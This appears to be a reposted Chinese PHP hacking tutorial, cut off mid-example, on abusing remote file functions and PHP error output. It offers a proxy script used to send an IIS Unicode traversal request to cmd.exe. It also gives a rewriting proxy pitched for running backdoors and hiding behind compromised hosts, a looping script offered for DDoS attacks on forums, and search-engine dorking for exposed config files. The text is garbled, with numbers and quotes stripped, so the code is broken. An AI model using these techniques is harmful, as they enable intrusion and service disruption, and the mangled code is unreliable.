.遠程文件 PHP是一門具有豐富特性的語言
它提供了大量函數
使程序員能夠方便地實現各種功能
遠程文件就是一個很好的例子
代碼
<?php
$fp=@Fopen($url
r
) or die (
cannot open $url
);
while($line=@fgets($fp
)) {
$contents
=$line;
}
echo $contents; //顯示文件內容
fclose($fp); //關閉文件
?>
以上是一段利用Fopen函數打開文件的代碼
由於Fopen函數支持遠程文件
使得它應用起來相當有趣
將以上代碼保存為Proxy
php
然後後提交
代碼
/proxy
php?url=
這時候你會發現論壇下方顯示的IP地址變成了PHP腳本所處服務器的IP地址
Fopen函數可以從任何其Web或FTP站點讀取文件
事實上PHP的大多數文件處理函數對遠程文件都是透明的
比如請求
代碼
/proxy
php?url=%c
%
c
/winnt/system
/cmd
exe?/c+dir
這樣實際上是利用了Target主機上的Unicode漏洞
執行了DIR命令
但並不是所有的服務器都支持遠程文件的功能
如果你使用的是商業的服務器
很可能會發現遠程文件使用不了(如
的虛擬主機)
這是因為在商業主機上限制遠程文件的功能
往往能夠更好的保護服務器的正常運行
你可以通過PHPinfo()查看服務器是否支持這種功能
當然
在PHPinfo()被禁用的情況下
也可以使用Get_cfg_var()
代碼
<?php
echo
是否允許使用遠程文件(allow_url_Fopen)
;
?php
if (get_cfg_var(
allow_url_Fopen
)==
)
{
echo(
<font color=green><b>是</b></font>
);
}
else echo(
<font color=red><b>否</b></font>
);
?>
當Allow_url_Fopen一項參數為ON時
即支持遠程文件的功能
充分發揮遠程文件的特性
我們可以實現許多特殊的功能
如果你是用過PHP Flame的最新版本
你會發現它在集文件夾復制
文本搜索等功能的基礎上
又增加了Web間文件傳輸的功能
依靠這種功能
你可以隨意將其他服務器上的文件傳送到你的Web目錄下
而且
在兩台服務器間傳送文件有著飛快的傳輸速度
我們看看實現這個功能的代碼
代碼
<?php
$fp = Fopen($_GET[
filename
]
rb
); //打開文件
$data = $tmp =
;
while ( true ) {
$tmp = fgets($fp
);
if (
=== strlen($tmp) ) {
break; //跳出while循環
}
$data
= $tmp;
}
fclose($fp); //關閉文件
$file=preg_replace(
/^
+\//
$filename);//轉換文件名
//write
$fp = Fopen(
$file
wb
); //生成文件
fwrite($fp
$data); //寫入數據
fclose($fp);
?>
在調用Fopen和Fwrite函數時加入
b
標記
可以使這兩個函數安全運用於二進制文件而不損壞數據
在以上腳本提交
/down
php?filename=
這時便會在Down
php的所處目錄下生成相應的Winrar
zip文件
如果再配合遍歷目錄的功能
你將可以實現多個文件夾服務器間的傳輸
但是
遠程文件應該還有更大的發揮空間
比如寫SQL Injection攻擊的自動腳本
甚至是HTTP的代理服務
代碼
<?
$url = getenv(
QUERY_STRING
);
if(!ereg(
^http
$url)) //檢查輸入的URL格式
{
echo
例子
<br>;br>
;
echo
?id=
<br>
;
echo
當URL為目錄時需要在目錄後加入
/
;
exit;
}
if($url)
$url=str_replace(
\\
/
$url);
$f=@Fopen($url
r
); //打開文件
$a=
;
if($f)
{
while(!feof($f))
$a
=@fread($f
); //讀取文件
fclose($f);
}
$rooturl = preg_replace(
/(
+\/)(
*)/i
\\
$url); //轉換根目錄
$a = preg_replace(
/(src[[:space:]]*=[
\
])([^h]
*?)/is
\\
$rooturl\\
$a);
$a = preg_replace(
/(src[[:space:]]*=)([^h
\
]
*?)/is
\\
$rooturl\\
$a); //轉換圖片地址
$a = preg_replace(
/(action[[:space:]]*=[
\
])([^h]
*?)/is
\\
$php_self?$rooturl\\
$a);
$a = preg_replace(
/(action[[:space:]]*=)([^h
\
]
*?)/is
\\
$php_self?$rooturl\\
$a); //轉換POST地址
$a = preg_replace(
/(<a
+?href[[:space:]]*=[
\
])([^h]
*?)/is
\\
$php_self?$rooturl\\
$a);
$a = preg_replace(
/(<a
+?href[[:space:]]*=[^
\
])([^h]
*?)/is
\\
$php_self?$rooturl\\
$a);//轉換鏈接地址
$a = preg_replace(
/(link
+?href[[:space:]]*=[^
\
])(
*?)/is
\\
$rooturl\\
$a);
$a = preg_replace(
/(link
+?href[[:space:]]*=[
\
])(
*?)/is
\\
$rooturl\\
$a); //轉換樣式表地址
echo $a;
exit;
?>
在正則表達式的幫助下
以上代碼能夠自行地將返回頁面中包含的鏈接和圖片進行轉換
並把頁面內的鏈接自動提交到當前PHP腳本的$url中
例如提交
/proxy
php?
腳本將會返回的內容
當然
這運用的絕對不僅僅是框架的技巧
運用這個腳本你可以遠程操作安置在其他服務器的Web後門
或者將肉雞做成一個簡單的HTTP代理
從而更好的隱藏自己的IP
如果使用PHP編寫CGI掃描工具
你需要延長PHP的有效運行時間
以下是兩種有效的方法
當然你也可以將PHP代碼編譯成GUI界面
從而解決這個問題
設置PHP的有效運行時間為三分鐘
代碼
<? ini_set(
max_execution_time
*
); ?>
<? set_time_limit(
*
); ?>
我們再看看這種功能在DDOS攻擊中的應用
代碼
<?php
set_time_limit(
*
);
$url=
?userid=
;
for($i=
;$i<=
;$i++)
{
$urls=$url
$i; //將$url與$i鏈接在一起
$f=@Fopen($urls
r
); //請求$urls
$a=@fread($f
); //取出部分內容
fclose($f); //關閉$urls
}
?>
以上用For循環不斷地請求Userlist
php?userid=$i的內容($i的值每次都是不同的)
但是打開後僅僅取出幾個字節便關閉這個腳本了
PHP運行在虛擬主機上
秒鐘便可以打開幾十個URL
當同時運行多個進程時
便有可能實現DDOS攻擊
讓對方的論壇迅速崩潰
限於版面
遠程文件的內容就先說到這裡了
如果你還有不明白的地方
請參考以下的這篇文章
《在PHP中使用遠程文件》
.錯誤回顯 PHP在默認的情況下打開錯誤回顯
這樣可以便於程序員在調試腳本時發現代碼的錯誤
但是這也往往使Web暴露了PHP的代碼和服務器的一些數據
PHP對代碼的規范性要求比較嚴格
以下是一種比較常見的錯誤回顯
warning:file(
data/
\)
no such file or
directory in /usr/home//show
php on line
這種錯誤回顯
至少告訴了我們三個信息
服務器的操作系統是LINUX
服務器使用文本數據庫
Show
php的第
行代碼為
file (
/data/
/
$
)
這種錯誤回顯
已經足以成為一台服務器致命的漏洞
從另一個利用的角度來看
我們發現一般的PHP錯誤回都包含了
warning
字符
但是這有什麼用呢?我們得先認識一下PHP的庫文件
PHP的Include()和Require()主要是為了支持代碼庫
因為我們一般是把一些經常使用的函數放到一個獨立的文件中
這個獨立的文件就是代碼庫
當需要使用其中的函數時
我們只要把這個代碼庫包含到當前的文件中就可以了
最初
人們開發和發布PHP程序的時候
為了區別代碼庫和主程序代碼
一般是為代碼庫文件設置一個
inc
的擴展名
但是他們很快發現這是一個錯誤
因為這樣的文件無法被PHP解釋器正確解析為PHP代碼
如果我們直接請求服務器上的這種文件時
我們就會得到該文件的源代碼
這是因為當把PHP作為Apache的模塊使用時
PHP解釋器是根據文件的擴展名來決定是否解析為PHP代碼的
擴展名是站點管理員指定的
一般是
php
php
和
php
如果重要的配置數據被包含在沒有合適的擴展名的PHP文件中
那麼遠程攻擊者將容易得到這些信息
按照以往的程序員的習慣
往往會把一些重要的文件設定
config
inc
coon
inc
等形式
如果我們在搜索引撃中搜索
warning+config
inc
那麼你會發現許多網站都暴露了
inc
文件的代碼
甚至包括許多商業和政府網站
要關閉PHP的錯誤回顯通常有兩個方法
第一個是直接修改Php
ini中的設置
這我們以前已經介紹過了
第二種方法是在PHP腳本中加入抑制錯誤回顯的代碼
你可以在調用的函數前函數加入
@
字符
或者在PHP的代碼頂端加入
error_reporting(
)
的代碼
要了解更多的內容請參考PHP手冊中的
error_reporting
一節
.變量回顯 WEN的安全問題主要集中變量的處理上
對變量的處理不當
會導致多種安全問題
先看一下的例子
代碼
<td width=
>
<select name=
face
>
<option value=
gif
>
gif</option>
<option value=
gif
>
gif
From:http://tw.wingwit.com/Article/program/PHP/201311/20798.html